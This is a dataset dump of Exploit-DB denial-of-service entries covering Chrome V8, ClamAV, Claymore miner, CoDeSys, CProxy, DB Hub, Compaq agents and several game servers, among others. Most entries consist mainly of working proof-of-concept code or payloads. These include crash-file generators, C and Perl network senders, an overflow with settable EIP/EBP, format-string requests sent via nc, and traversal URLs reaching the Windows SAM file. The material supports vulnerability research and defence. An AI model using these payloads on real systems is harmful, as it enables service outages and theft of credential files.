deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44257
Description: Chrome V8 JIT - Simplified-lowererer IrOpcode::kStoreField_ IrOpcode::kStoreElement Optimization Bug
Type: dos
Platform: multiple
Date: 2018-03-06
Author: Google Security Research

Exploit:
/*
I think this commit has introduced the bugs: https://chromium.googlesource.com/v8/v8/+/c22ca7f73ba92f22d0cd29b06bb2944a545a8d3e%5E%21/#F0

Here's a snippet.
  case IrOpcode::kStoreField: {
    FieldAccess access = FieldAccessOf(node->op());
    Node* value_node = node->InputAt(1);
    NodeInfo* input_info = GetInfo(value_node);
    MachineRepresentation field_representation =
        access.machine_type.representation();

    // Make sure we convert to Smi if possible. This should help write
    // barrier elimination.
    if (field_representation == MachineRepresentation::kTagged &&
        TypeOf(value_node)->Is(Type::SignedSmall())) {
      field_representation = MachineRepresentation::kTaggedSigned;
    }
    WriteBarrierKind write_barrier_kind = WriteBarrierKindFor(
        access.base_is_tagged, field_representation, access.offset,
        access.type, input_info->representation(), value_node);

    ProcessInput(node, 0, UseInfoForBasePointer(access));
    ProcessInput(node, 1,
                 TruncatingUseInfoFromRepresentation(field_representation));
    ProcessRemainingInputs(node, 2);
    SetOutput(node, MachineRepresentation::kNone);
    if (lower()) {
      if (write_barrier_kind < access.write_barrier_kind) {
        access.write_barrier_kind = write_barrier_kind;
        NodeProperties::ChangeOp(
            node, jsgraph_->simplified()->StoreField(access));
      }
    }
    return;
  }

Since Smi stores can be performed without write barriers, if it's possible to convert to Smi, it tries to help write barrier elimination by changing field_representation to MachineRepresentation::kTaggedSigned as noted in the comment. But whether or not field_representation has changed, it uses TruncatingUseInfoFromRepresentation to process the value node.

But TruncatingUseInfoFromRepresentation(kTaggedSigned) returns UseInfo::AnyTagged() which is also compatible with kTaggedPointer. So even in the case where input_info->representation() is kTaggedPointer and the value is a heap object, it may eliminate the write barrier.

Note: It's the same when handling kStoreElement.

PoC 1 using kStoreField.
*/

var a, b;  // should be var
for (var i = 0; i < 100000; i++) {
    b = 1;
    a = i + -0;  // -0 is a number, so this will make "a" a heap object.
    b = a;
}

print(a === b);  // true
gc();
print(a === b);  // false
print(b);

/*
PoC 2 using kStoreElement.
let arr = [{}];
var v;  // should be var
for (var i = 0; i < 700000; i++) {
    arr[0] = 1;
    v = i + -0;
    arr[0] = v;
}

print(arr[0] === v)  // true
gc();
print(arr[0] === v)  // false
print(arr[0]);
*/
Exploit-DB #2587
Description: Clam AntiVirus 0.88.4 - 'rebuildpe' Remote Heap Overflow (PoC)
Type: dos
Platform: multiple
Date: 2006-10-17
Author: Damian Put

Exploit:
Clam AntiVirus <= 0.88.4 (rebuildpe) Remote Heap Overflow PoC
Damian Put pucik[at]gazeta.pl 
	   pucik[@]overflow.pl
	   http://overflow.pl

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/2587.exe.bz2 (10172006-clam_petite_heap.exe.bz2

# milw0rm.com [2006-10-17]
Exploit-DB #7330
Description: ClamAV < 0.94.2 - JPEG Parsing Recursive Stack Overflow (PoC)
Type: dos
Platform: multiple
Date: 2008-12-03
Author: ilja van sprundel

Exploit:
/*
There is a recursive stack overflow in clamav 0.93.3 and 0.94 (and probably
older versions) in the jpeg parsing code.
it scan's the jpeg file, and if there is a thumbnail, it'll scan that too. the
thumbnail itself is just another jpeg 
file and the same jpeg scanning function gets called without checking any kind
of recurising limit. this can easely 
lead to a recurisive stack overflow. the vulnerable code looks like: 
clamav-0.94\libclamav\special.c
int cli_check_jpeg_exploit(int fd) <-- fd to jpeg file
{
...
                        if ((retval=jpeg_check_photoshop(fd)) != 0) {
                                return retval;
                        }
...
}
...
static int jpeg_check_photoshop(int fd)
{
...
                retval = jpeg_check_photoshop_8bim(fd);
...
}
...
static int jpeg_check_photoshop_8bim(int fd)
{
...
        retval = cli_check_jpeg_exploit(fd); <-- calls cli_check_jpeg_exploit()
again without any recursive checks !
...
}

the exploit shown below triggers this recursive stack overflow by creating a
fake jpg file. once created and passed on 
to clamav it'll go in a recursive stack loop untill clamav runs out of stack
memory and causes a stack overflow. effectively 
crashing clamav. The exploit was tested on clamav 0.94 on opensolaris running
in a vmware.
exploit:
*/

const char crashstr[] = "\xff\xd8" // jpg marker 
                        "\xff\xed" // exif data 
                        "\x00\x02" // length 
                        "Photoshop 3.0\x00"
                        "8BIM"
                        "\x04\x0c" // thumbnail id  
                        "\x00" 
                        "\x01"
                        "\x01\x01\x01\x01"
                        "[PII_REDACTED][PII_REDACTED]12345678"; // skip over 28 bytes 

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>

#define NR_ITER 200000

int main() {
        FILE *fp;
        int i;
        fp = fopen("clamav-jpeg-crash.jpg", "w+");
        if (!fp) {
                printf("can't open/create file\n");
                exit(0);
        }
        for (i = 0; i < NR_ITER; i++) {
                fwrite(crashstr, sizeof(crashstr)-1/*don't want 0-byte ?*/, 1,
fp);
        }
        fclose(fp);
        printf("done, now run clamscan on ./clamav-jpeg-crash.jpg\n");
        exit(0);
}

/*
result: 
ilja@opensolaris:~$ ./jpg
done, now run clamscan on ./clamav-jpeg-crash.jpg
ilja@opensolaris:~$ /usr/local/bin/clamscan ./clamav-jpeg-crash.jpg 
LibClamAV Warning: **************************************************
LibClamAV Warning: ***  The virus database is older than 7 days!  ***
LibClamAV Warning: ***   Please update it as soon as possible.    ***
LibClamAV Warning: **************************************************
Segmentation Fault <-- clamav crashed !
ilja@opensolaris:~$
*/

// milw0rm.com [2008-12-03]
Exploit-DB #43972
Description: Claymore Dual GPU Miner 10.5 - Format String
Type: dos
Platform: multiple
Date: 2018-02-05
Author: res1n

Exploit:
Claymore’s Dual GPU Miner 10.5 and below is vulnerable to a format strings vulnerability. This allows an unauthenticated attacker to read memory addresses, or immediately terminate the mining process causing a denial of service.

After reading about the recent vulnerabilities with previous versions, I thought I should take another look at the json listener on port 3333 and see if there was any avenues of attack.

echo -e '{"id":1,"jsonrpc":"1.0","method":"test"}' | nc 192.168.1.107 3333 & printf "\n"

After realizing the buffer was printed I decided to try a few others…

Sending %s does return some strings, however I couldn’t get the hex addresses padded properly to dig in more as I kept getting unable to parse json errors. Sending %p also did yield some results but I’m sure someone more qualified may be able to exploit the stack further…

Finally, sending %n completely kills the mining process.

echo -e '{"id":1,"jsonrpc":"1.0","method":"%n"}' | nc 192.168.1.139 3333 & printf "\n"

Keep your rigs up to date, or stop opening port 3333 to the public. Seriously.

Timeline
01/26/18 — Reported

01/26/18 —Confirmed and immediately patched. 10.6 released request for 3–4 day embargo

01/31/18 — Public Disclosure
Exploit-DB #38538
Description: Code::Blocks - Denial of Service
Type: dos
Platform: multiple
Date: 2013-05-29
Author: ariarat

Exploit:
source: https://www.securityfocus.com/bid/60208/info

Code::Blocks is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to cause an affected application to crash, denying service to legitimate users. Due to the nature of this issue, arbitrary code execution may be possible, but this has not been confirmed.

Code::Blocks 12.11 is vulnerable; other versions may also be affected. 

#!/usr/bin/python
 
filename="string.txt"
buffer = "\x41" * 1000
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
Exploit-DB #36378
Description: CoDeSys 3.4 - Null Pointer Invalid HTTP Request Parsing Remote Denial of Service
Type: dos
Platform: multiple
Date: 2011-11-30
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/50854/info
 
CoDeSys is prone to multiple denial-of-service vulnerabilities.
 
An attacker can exploit these issues to crash the application and deny service to legitimate users. 

udpsz -T -c "BLAH / HTTP/1.0\r\n\r\n" SERVER 8080 -1
Exploit-DB #36377
Description: CoDeSys 3.4 - POST Null Pointer Content-Length Parsing Remote Denial of Service
Type: dos
Platform: multiple
Date: 2011-11-30
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/50854/info

CoDeSys is prone to multiple denial-of-service vulnerabilities.

An attacker can exploit these issues to crash the application and deny service to legitimate users. 

udpsz -T -c "POST / HTTP/1.0\r\nContent-Length:[PII_REDACTED]\r\n\r\n" SERVER 8080 -1
Exploit-DB #19996
Description: ColdFusion Server 2.0/3.x/4.x - Administrator Login Password Denial of Service
Type: dos
Platform: multiple
Date: 2000-06-07
Author: Stuart McClure

Exploit:
source: https://www.securityfocus.com/bid/1314/info

Due to a faulty mechanism in the password parsing implementation in authentication requests, it is possible to launch a denial of service attack against Allaire ColdFusion 4.5.1 or previous by inputting a string of over 40 000 characters to the password field in the Administrator login page. CPU utilization could reach up to 100%, bringing the program to halt. The default form for the login page would prevent such an attack. However, a malicious user could download the form locally to their hard drive, modify HTML tag fields, and be able to submit the 40 000 character string to the ColdFusion Server.

Restarting the application would be required in order to regain normal functionality.


The Administrator login page can be typically accessed via:
http://target/cfide/administrator/index.cfm

Modify the field size and POST action in the HTML tags to allow for the input of a character string consisting of over 40 000 characters.
Exploit-DB #24170
Description: Colin McRae Rally 2004 - Multiplayer Denial of Service
Type: dos
Platform: multiple
Date: 2004-06-04
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/10464/info

It is reported that Colin McRae Rally 2004 has a flaw handling server responses when entering the multiplayer menu of the game.

When entering the multiplayer menu, the game client sends a broadcast message requesting information from all servers on the local network. It is reported that an attacker is able to mimic a server and respond to these broadcast requests with an invalid response, causing a crash of the client game.

An attacker running a malicious server process could block all multiplayer access in a local network, denying service to all legitimate users. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24170.zip
Exploit-DB #32192
Description: Combat Evolved 1.0.7.0615 - Multiple Denial of Service Vulnerabilities
Type: dos
Platform: multiple
Date: 2008-08-06
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/30582/info

Halo: Combat Evolved is prone to multiple remote denial-of-service vulnerabilities because the application fails to properly handle specially crafted network packets.

An attacker may exploit these issues to crash the affected application, denying service to legitimate users.

Halo: Combat Evolved 1.0.7.0615 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32192-1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32192-2.zip
Exploit-DB #19225
Description: Compaq Client Management Agents 3.70/4.0 / Insight Management Agents 4.21 A/4.22 A/4.30 A / Intelligent Cluster Administrator 1.0 / Management Agents for Workstations 4.20 A / Server Management Agents 4.23 / Survey Utility 2.0 - Web File Access
Type: dos
Platform: multiple
Date: 1999-05-25
Author: Master Dogen

Exploit:
source: https://www.securityfocus.com/bid/282/info

A vulnerability in the Compaq Management Agents and the Compaq Survey Utility when running as an agent allows remote malicious users to steal local files. All Compaq Server and Client Management Agents version 4.0 or later are vulnerable. All Compaq Survey Utility versions 2.0 or later are vulnerable.

Compaq's Insight Manger a comprehensive management tool to monitor and control the operation of Compaq servers and clients and DIGITAL X86 and Alpha-based servers. One of its features is web acess to its device and configuration information via a built-in web server in the agents. Insight Manager is available for several platforms including Windows NT and Netware.

The web server in the agents fails to check whether requested files fall outside its document tree (by using ".." in the URL). Thus attackers can retrieve files in the same drives as that on which the software resides if they know or can get it's filename.

The web server listens on port 2301. By default the only user accounts available in the agents are account "anonymous", username "anonymous", no password, account "user", username "user", password "public", and account "administrator", username "administrator", and password "administrator". You login via the URL http://www.example.com:2301/cpqlogin.htm.

One an attacker has access to on such machine, using Compaq's HTTP Auto-Discovery Device List at the URL http://www.example.com/cpqdev.htm they can locate other machines.

The web agent service also appears to be vulnerable a a denial of service. By sending it a request for over 223 bytes long ("AAAA...") the service will fail with an access violation. 

http://vulnerable-NT.com:2301/../../../winnt/repair/sam._
http://vulnerable-Netware.com:2301/../../../system/ldremote.ncf
Exploit-DB #19920
Description: Computalynx CProxy Server 3.3 SP2 - Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: multiple
Date: 2000-05-16
Author: HaCk-13 TeaM

Exploit:
// source: https://www.securityfocus.com/bid/1213/info

A buffer overflow DoS vulnerability exists in CProxy Server 3.3 Service Pack 2


/*
 * Remote Denial of Service for CProxy v3.3 - Service Pack 2
 * 
 * (C) |[TDP]|  - HaCk-13 TeaM -  2000      <tdp@psynet.net>
 *
 *
 * This program xploits an overflow vulnerability in CProxy 3.3 SP2
 * HTTP Service (8080), causing server shutdown
 *
 * Greetings to all the other members and all my friends :) 
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define BUFFERSIZE 247
#define NOP 0x90
// If you change this values you can change EIP and EBP values
// to redirect to a code that you want >;)
#define EIP 0x61616161
#define EBP 0x61616161

void usage(char *progname) {
 fprintf(stderr,"Usage: %s <hostname> [eip] [ebp]\n",progname);
 exit(1);
}

int main(int argc, char **argv) {
char *ptr,buffer[BUFFERSIZE], remotedos[1024];
unsigned long *long_ptr,eip=EIP, ebp=EBP;
int aux,sock;
struct sockaddr_in sin;
unsigned long ip;
struct hostent *he;

 fprintf(stderr,"\n-= Remote DoS for CProxy v3.3 ServicePack 2 - (C) |[TDP]| - H13 Team =-\n");

 if (argc<2) usage(argv[0]);

 if (argc>=3) eip+=atol(argv[2]);

 if (argc>=4) ebp+=atol(argv[3]);

 ptr=buffer;
 memset(ptr,0,sizeof(buffer));
 memset(ptr,NOP,sizeof(buffer)-8);
 ptr+=sizeof(buffer)-8;
 long_ptr=(unsigned long*)ptr;
 *(long_ptr++) = ebp;
 *(long_ptr++) = eip;
 ptr=(char *)long_ptr;
 *ptr='\0';

 bzero(remotedos, sizeof(remotedos));
 snprintf(remotedos, sizeof(remotedos), "GET http://%s HTTP/1.0\r\n\r\n\r\n",buffer);

 if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
 perror("socket()");
 return -1;
 }

 if ((he = gethostbyname(argv[1])) != NULL) {
 ip = *(unsigned long *)he->h_addr;
 } else {
 if ((ip = inet_addr(argv[1])) == NULL) {
  perror("inet_addr()");
  return -1;
 }
 }

 sin.sin_family = AF_INET;
 sin.sin_addr.s_addr = ip;
 sin.sin_port = htons(8080);

 fprintf(stderr,"\nEngaged...\n");
 if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
 perror("connect()");
 return -1;
 }

 if (write(sock, remotedos, strlen(remotedos)) < strlen(remotedos)) {
 perror("write()");
 return -1;
 }

 fprintf(stderr,"Bye Bye baby!...\n\n");
 if (close(sock) < 0) {
 perror("close()");
 return -1;
 }

 return(0);
}
Exploit-DB #33096
Description: Crysis 1.21/1.5 - HTTP/XML-RPC Service Access Violation Remote Denial of Service
Type: dos
Platform: multiple
Date: 2009-06-20
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/35735/info

Crysis is prone to a remote denial-of-service vulnerability because the application fails to handle exceptional conditions.

An attacker can exploit this issue to crash the affected application, denying further service to legitimate users. Given the nature of this issue, the attacker may also be able to run arbitrary code, but this has not been confirmed.

The following are affected:

Crysis 1.21 and prior versions
Crysis Wars 1.5 and prior versions 

POST /rpc2 HTTP/1.1
Content-Length: 90

<?xml version="1.0"?>
<methodCall>
  <methodName>challenge</methodName>
</methodCall>
Exploit-DB #31136
Description: cyan soft - Multiple Applications Format String / Denial of Service Vulnerabilities
Type: dos
Platform: multiple
Date: 2008-02-11
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27728/info

Multiple cyan soft products are affected by a format-string vulnerability because they fail to adequately sanitize user-supplied input before passing it as the format-specifier to a formatted-printing function.

These applications are also affected by a denial-of-service vulnerability because they fail to adequately handle certain commands during the start of a connection.

Attackers can leverage these issues to execute arbitrary code in the context of the application or to terminate the application. Successful attacks will compromise the applications or deny access to legitimate users.

The following applications are affected:

Opium4 OPI Server 4.10.1028 and prior
cyanPrintIP Easy OPI 4.10.1030 and prior
cyanPrintIP Professional 4.10.1030 and prior
cyanPrintIP Workstation 4.10.836 and prior
cyanPrintIP Standard 4.10.940 and prior
cyanPrintIP Basic 4.10.1030 and prior 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31136.zip
Exploit-DB #30644
Description: Dawn of Time 1.69 MUD Server - Multiple Format String Vulnerabilities
Type: dos
Platform: multiple
Date: 2007-10-05
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/25944/info

Dawn of Time MUD server is prone to multiple format-string vulnerabilities.

Exploiting these issues will allow attackers to execute arbitrary code with the permissions of a user running the application. Failed attacks will likely cause denial-of-service conditions.

These issues affect Dawn of Time 1.69s beta4 and 1.69r; other versions may also be affected. 

http://%n%n%n%n%n:%n%n%n%n%n@www.example.com:4001/locked
Exploit-DB #29362
Description: DB Hub 0.3 - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2006-12-27
Author: Critical Security

Exploit:
source: https://www.securityfocus.com/bid/21791/info

A remote denial-of-service vulnerability affects the DB Hub application because of a memory-corruption flaw when the application attempts to process specially crafted network traffic.

An attacker may exploit this issue to crash affected applications, denying service to legitimate users.

DB Hub version 0.3 is vulnerable to this issue; other versions may also be affected.

#!/usr/bin/perl
# DB Hub (http://dbhub.ir.pl/) DoS exploit 
# Critical Security (http://www.critical.lt)

use IO::Socket;

my $host = $ARGV[0];
my $port = $ARGV[1];
my $nick = $ARGV[2];

print q( 
----------------------------------------------
|  DB Hub (http://dbhub.ir.pl/) DoS exploit  |
----------------------------------------------
);

if (@ARGV < 3) { 
  print "Usage: perl crit_dbhub.pl host port nick\n";
  exit();
}

if ($connect = IO::Socket::INET->new(PeerAddr => $host, 
                                     PeerPort => $port, 
                                     Proto => tcp,
                                     Timeout => 5 ) 
   or die "[-] Can't connect\n") 
    { 
     print "[+] Connected!\n";
    }

$res = $connect->recv($text,200);
if ($text = ~/Lock/) { $connect->send("\$Key vistiek_netikrina|\$ValidateNick $nick|"); }
$connect->send("\$Version 20|\$MyINFO \$ALL $nick  <++ V:0.674,M:A,H:1/0/0,S:11>\$ \$DSL.\$\$[PII_REDACTED]\$|\$GetNickList|");
$connect->send("<$nick>!|"); # xixi
print "[+] Data sent\n"; 
while($text) { $res = $connect->recv($text,200); }
print "[+] Done\n";
Exploit-DB #28345
Description: DConnect Daemon DC Chat - Denial of Service
Type: dos
Platform: multiple
Date: 2006-08-06
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/19370/info

DConnect Daemon is prone to a denial-of-service vulnerability. 

This issue occurs because the application fails to handle null-pointer exceptions properly. 

An attacker can exploit this issue to crash the server, causing a denial-of-service.

Version 0.7.0, CVS July 30th 2006 and prior versions are vulnerable to this issue.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28345.zip
Exploit-DB #46883
Description: Deluge 1.3.15 - 'URL' Denial of Service (PoC)
Type: dos
Platform: multiple
Date: 2019-05-21
Author: Victor Mondragón

Exploit:
#Exploit Title: Deluge 1.3.15 - 'URL' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-20
#Vendor Homepage: https://dev.deluge-torrent.org/
#Software Link: http://download.deluge-torrent.org/windows/deluge-1.3.15-win32-py2.7.exe
#Tested Version: 1.3.15
#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: deluge_url.py
#2.- Open deluge_url.txt and copy content to clipboard
#3.- Open deluge.exe
#4.- Select "File" > "Add Torrent" > "URL"
#5.- In "From URL" field paste Clipboard
#6.- Select "OK"
#7.- Crashed

cod = "\x41" * 5000

f = open('deluge_url.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #24066
Description: DiGi WWW Server 1 - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2004-04-27
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/10228/info

The DiGi WWW Server has been reported to contain a remote denial of service vulnerability. It has been reported that when the server receives a malformed HTTP GET request, the web server process will consume large amounts of CPU resources.

Since this is a web server application, this leads to a remotely exploitable denial of service vulnerability.

GET ///[660Kb of /]/// HTTP/1.1

to a vulnerable server would demonstrate the effect.